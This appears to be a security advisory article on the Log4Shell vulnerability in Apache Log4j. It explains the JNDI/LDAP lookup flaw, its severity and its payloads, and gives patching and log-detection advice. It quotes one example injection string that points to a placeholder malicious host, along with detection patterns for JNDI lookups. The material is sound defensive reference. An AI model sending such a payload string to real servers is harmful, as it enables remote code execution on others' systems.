The internet has been set alight over the weekend as details emerged about a new vulnerability in Apache’s Log4j utility, a widely used logging library in Java applications. CVE-2021-44228, known as Log4Shell, was first reported to Apache in late November and a patch was issued in version 2.15.0 of Log4j on December 9th. According to Trend Micro, the vulnerability impacts almost any software that utilizes the Log4j utility, including Apache Strut, Apache Solr, Apache Druid, Elasticsearch, and VMware vCenter. Log4Shell is capable of achieving arbitrary remote code execution without significant attack complexity and without exploiting privilege escalation. NIST’s NVD analysts have given the vulnerability a 10.0 Critical severity rating (CVSS 3.x), a 6.0 impact score, and designated it as Low attack complexity.
What We Know
According to MITRE, all Apache Log4j versions 2.14.1 and prior are vulnerable to this vulnerability in its default configuration. Log4j versions prior to 2.15.1 had a message lookup functionality enabled by default, allowing attackers to exploit Log4j’s Java Naming Directory Interface (JNDI) in concert with the lookup protocol’s LDAP capabilities to inject a malicious Java class file that will be arbitrarily executed by the victim’s LDAP server. The exploit steps are extremely simple, only requiring the hacker to send an HTTP request to a vulnerable webserver containing a string that calls for the JNDI lookup method to download and execute the malicious payload from the attacker-controlled LDAP server at the target domain. Here is an example from Trend Micro:
${jndi:ldap://{malicious website}/a}
The attack provides the malicious java class file at the specified domain, and the JNDI lookup method downloads and executes the malicious class file. JNDI does this when the message lookup substitution setting is enabled, where it attempts to replace log events proceeded by “${” with the identified string. Once the initial lookup has been exploited, any number of malicious payloads can be delivered to the vulnerable server. The two main payloads identified by Trend Micro so far has been the Mirai botnet and the Kinsing coinminer, which could result in a denial of service attack or resource hijacking respectively.
Mitigation and Detection Strategies
The most effective mitigation strategy at present will be to upgrade all Log4j instances to the latest 2.15.0 version. For short term mitigation, it is important that system administrators set the system property “log4j2.formatMsgNoLookups” to “true”. Additionally, the environment variable “LOG4J_FORMAT_MSG_NO_LOOKUPS” should be set to “true”. For versions prior to 2.10, administrators should remove “jndiLookup.class” from the class path via: “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”.
For detection, application logs should be monitored for any strings similar to the example string above, mostly requests like “${jndi:ldap:/}”, “${jndi:ldaps:/}”, or “${jndi:rmi:/}”. These strings should be identifiable on system logs, allowing administrators to search for these strings in log directories such as /var/log on Linux systems. According to TrustSec’s Log4J Playbook, it’s also going to be important to monitor endpoint devices for signs of further exploitation. Log4Shell is merely an ingress point for deploying malicious payloads, allowing hackers to pivot and further exploit your network after the fact. Typical signs include suspicious use of command line tools like curl or wget, the installation of unexpected programs, suspicious resource usage, and endpoint security software raising flags about post-exploitation tool activity.
Additionally, open-source tools are becoming available that help in detecting for malicious Log4Shell attempts, such as this Log4Shell detector created by Neo23x0 on Github.
Many security researchers are worried that Log4Shell will be an issue that plagues us for a long time considering the sheer scale of Log4j’s usage across the internet. We can already see how wide-reaching this vulnerability is and how it touches software vendors across industries. Combined with its wide target base Log4Shell has a low complexity of execution, making it a vulnerability that is trivially easy to weaponize. In the end, it’ll be up to system owners to patch their systems with sufficient urgency to limit the impact of this vulnerability.
